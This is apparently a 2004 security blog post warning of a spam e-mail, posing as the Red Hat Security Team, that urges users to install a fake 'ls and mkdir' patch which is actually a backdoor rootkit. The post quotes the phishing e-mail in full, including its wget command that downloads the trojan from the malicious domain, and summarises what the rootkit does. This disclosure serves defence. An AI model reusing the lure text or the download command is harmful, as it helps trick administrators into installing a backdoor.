It looks like the “evil minds” have found a new way to use spam for their devious plans. This time spam is combined with a scam that will try to use social engineering for the purpose of creating server backdoors. The e-mail, pretending to be sent by Red Hat, is alerting users to promptly update their systems for the “newly found” ls and mkdir vulnerabilities. Apparently the false patch located at fedora-redhat.com is a rootkit that does the following:
- Create a user named bash without a password
- Grab the IP address and uptime
- Start SSH
- Mail the results
More information on this topic can be found over at the Slashdot discussions. K-OTik Security Research & Survey Team published the source code and the analysis of this trojan.
The copy of the e-mail:
Date: Sun, 24 Oct 2004 17:46:16 -0500
Subject: RedHat: Buffer Overflow in “ls” and “mkdir”
Content-Type: text/html; charset=iso-8859-1
From: RedHat Security Team
X-Spam-Status: Yes, hits=8.05 tagged_above=-99 required=3.6 tests=BAYES_80, DCC_CHECK, HTML_MESSAGE, HTML_TITLE_UNTITLED, MIME_HTML_ONLY
HTML content follows
Original issue date: October 20, 2004
Last revised: October 20, 2004
A complete revision history is at the end of this file.
Dear RedHat user,
Redhat found a vulnerability in fileutils (ls and mkdir), that could allow a remote attacker to execute arbitrary code with root privileges. Some of the affected linux distributions include RedHat 7.2, RedHat 7.3, RedHat 8.0, RedHat 9.0, Fedora CORE 1, Fedora CORE 2 and not only. It is known that *BSD and Solaris platforms are NOT affected.
The RedHat Security Team strongly advises you to immediately apply the fileutils-1.0.6 patch. This is a critical-critical update that you must make by following these steps:
* First download the patch from the Security RedHat mirror: wget www.fedora-redhat.com/fileutils-1.0.6.patch.tar.gz
* Untar the patch: tar zxvf fileutils-1.0.6.patch.tar.gz
* cd fileutils-1.0.6.patch
Again, please apply this patch as soon as possible or you risk your system and others` to be compromised.
Thank you for your prompt attention to this serious matter,
RedHat Security Team.
Copyright Ã‚Â© 2004 Red Hat, Inc. All rights reserved.